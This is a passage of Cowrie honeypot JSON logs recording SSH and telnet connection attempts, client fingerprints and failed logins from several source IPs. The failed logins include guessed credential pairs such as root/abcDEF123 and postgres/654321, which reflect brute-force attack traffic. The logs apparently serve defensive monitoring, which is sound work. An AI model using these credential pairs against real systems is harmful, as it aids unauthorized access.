diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:02.685868Z","src_ip":"14.248.83.33","session":"d0936e05c8fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"Abcd1234","message":"login attempt [developer/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:03.728103Z","src_ip":"14.248.83.33","session":"d0936e05c8fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:04.979676Z","src_ip":"14.248.83.33","session":"d0936e05c8fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50198,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7353414a0dd","protocol":"telnet","message":"New connection: 174.138.46.234:50198 (159.203.135.109:23) [session: f7353414a0dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:06.791161Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50362,"dst_ip":"159.203.135.109","dst_port":23,"session":"422d6113788d","protocol":"telnet","message":"New connection: 174.138.46.234:50362 (159.203.135.109:23) [session: 422d6113788d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:07.300916Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50468,"dst_ip":"159.203.135.109","dst_port":23,"session":"644cc3dfb2db","protocol":"telnet","message":"New connection: 174.138.46.234:50468 (159.203.135.109:23) [session: 644cc3dfb2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:07.554710Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50506,"dst_ip":"159.203.135.109","dst_port":23,"session":"6eed8acb2864","protocol":"telnet","message":"New connection: 174.138.46.234:50506 (159.203.135.109:23) [session: 6eed8acb2864]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:07.723923Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":40146,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b3b669c7c1","protocol":"ssh","message":"New connection: 103.69.96.120:40146 (159.203.135.109:22) [session: 18b3b669c7c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:10.166136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:10.171398Z","src_ip":"103.69.96.120","session":"18b3b669c7c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:10.419568Z","src_ip":"103.69.96.120","session":"18b3b669c7c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcDEF123","message":"login attempt [root/abcDEF123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:11.435153Z","src_ip":"103.69.96.120","session":"18b3b669c7c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:12.682524Z","src_ip":"103.69.96.120","session":"18b3b669c7c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.019741058349609,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:12.810775Z","src_ip":"174.138.46.234","session":"f7353414a0dd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.935440301895142,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:13.236255Z","src_ip":"174.138.46.234","session":"422d6113788d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":20904,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3eddda91770","protocol":"ssh","message":"New connection: 181.39.158.30:20904 (159.203.135.109:22) [session: f3eddda91770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:15.464623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:15.469824Z","src_ip":"181.39.158.30","session":"f3eddda91770","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:15.587132Z","src_ip":"181.39.158.30","session":"f3eddda91770","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123123","message":"login attempt [root/admin@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:16.083007Z","src_ip":"181.39.158.30","session":"f3eddda91770","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:17.202301Z","src_ip":"181.39.158.30","session":"f3eddda91770","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":40420,"dst_ip":"10.17.0.5","dst_port":23,"session":"0288b4ef3ee5","protocol":"telnet","message":"New connection: 217.182.190.44:40420 (10.17.0.5:23) [session: 0288b4ef3ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:24.474135Z"}
{"eventid":"cowrie.session.closed","duration":43.79086661338806,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:51.345424Z","src_ip":"174.138.46.234","session":"644cc3dfb2db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35198,"dst_ip":"159.203.135.109","dst_port":23,"session":"193e584e9cf9","protocol":"telnet","message":"New connection: 174.138.46.234:35198 (159.203.135.109:23) [session: 193e584e9cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:53.042331Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35236,"dst_ip":"159.203.135.109","dst_port":23,"session":"f916c06e6cbc","protocol":"telnet","message":"New connection: 174.138.46.234:35236 (159.203.135.109:23) [session: f916c06e6cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:53.191544Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35776,"dst_ip":"159.203.135.109","dst_port":23,"session":"12c349d5ad0b","protocol":"telnet","message":"New connection: 174.138.46.234:35776 (159.203.135.109:23) [session: 12c349d5ad0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:55.319633Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":35598,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a9f9673f411","protocol":"telnet","message":"New connection: 174.138.46.234:35598 (159.203.135.109:23) [session: 5a9f9673f411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:55.618423Z"}
{"eventid":"cowrie.session.closed","duration":34.213751554489136,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:58.687752Z","src_ip":"217.182.190.44","session":"0288b4ef3ee5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.904077053070068,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:18:58.946278Z","src_ip":"174.138.46.234","session":"193e584e9cf9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.0904335975647,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:00.814245Z","src_ip":"174.138.46.234","session":"6eed8acb2864","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.835090160369873,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:01.026401Z","src_ip":"174.138.46.234","session":"f916c06e6cbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.750198602676392,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:01.368491Z","src_ip":"174.138.46.234","session":"5a9f9673f411","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":27046,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1bb33f13c68","protocol":"ssh","message":"New connection: 14.248.83.33:27046 (159.203.135.109:22) [session: a1bb33f13c68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:02.389217Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:02.395100Z","src_ip":"14.248.83.33","session":"a1bb33f13c68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:02.645725Z","src_ip":"14.248.83.33","session":"a1bb33f13c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38038,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee9d6537d6c8","protocol":"telnet","message":"New connection: 174.138.46.234:38038 (159.203.135.109:23) [session: ee9d6537d6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:03.660948Z"}
{"eventid":"cowrie.login.failed","username":"ftpserver","password":"123456","message":"login attempt [ftpserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:03.678509Z","src_ip":"14.248.83.33","session":"a1bb33f13c68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:04.930969Z","src_ip":"14.248.83.33","session":"a1bb33f13c68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":58670,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab7c62f76012","protocol":"telnet","message":"New connection: 217.182.190.44:58670 (10.17.0.5:23) [session: ab7c62f76012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:07.424005Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":53238,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d39e7238cc6","protocol":"ssh","message":"New connection: 103.69.96.120:53238 (159.203.135.109:22) [session: 1d39e7238cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:09.093672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:09.099433Z","src_ip":"103.69.96.120","session":"1d39e7238cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:09.348457Z","src_ip":"103.69.96.120","session":"1d39e7238cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rt@123456","message":"login attempt [root/rt@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:10.381706Z","src_ip":"103.69.96.120","session":"1d39e7238cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:11.633500Z","src_ip":"103.69.96.120","session":"1d39e7238cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":12096,"dst_ip":"159.203.135.109","dst_port":22,"session":"93d04cce1241","protocol":"ssh","message":"New connection: 181.39.158.30:12096 (159.203.135.109:22) [session: 93d04cce1241]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:15.650285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:15.654924Z","src_ip":"181.39.158.30","session":"93d04cce1241","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:15.772403Z","src_ip":"181.39.158.30","session":"93d04cce1241","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"654321","message":"login attempt [postgres/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:16.272213Z","src_ip":"181.39.158.30","session":"93d04cce1241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:17.394471Z","src_ip":"181.39.158.30","session":"93d04cce1241","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.69194793701172,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:41.115840Z","src_ip":"217.182.190.44","session":"ab7c62f76012","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":48276,"dst_ip":"159.203.135.109","dst_port":23,"session":"f95829ff5a32","protocol":"telnet","message":"New connection: 174.138.46.234:48276 (159.203.135.109:23) [session: f95829ff5a32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:41.675686Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":39582,"dst_ip":"10.17.0.5","dst_port":23,"session":"19f9f4aa7960","protocol":"telnet","message":"New connection: 217.182.190.44:39582 (10.17.0.5:23) [session: 19f9f4aa7960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:41.820715Z"}
{"eventid":"cowrie.session.closed","duration":48.27526235580444,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:43.594782Z","src_ip":"174.138.46.234","session":"12c349d5ad0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.010128021240234,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:45.685568Z","src_ip":"174.138.46.234","session":"f95829ff5a32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.12296748161316,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:48.783787Z","src_ip":"174.138.46.234","session":"ee9d6537d6c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":45248,"dst_ip":"10.17.0.5","dst_port":23,"session":"e659cdd13dbc","protocol":"telnet","message":"New connection: 217.182.190.44:45248 (10.17.0.5:23) [session: e659cdd13dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:19:59.525831Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":25074,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6b40ebc86c8","protocol":"ssh","message":"New connection: 14.248.83.33:25074 (159.203.135.109:22) [session: a6b40ebc86c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:01.049759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:20:01.054293Z","src_ip":"14.248.83.33","session":"a6b40ebc86c8","protocol":"ssh"}
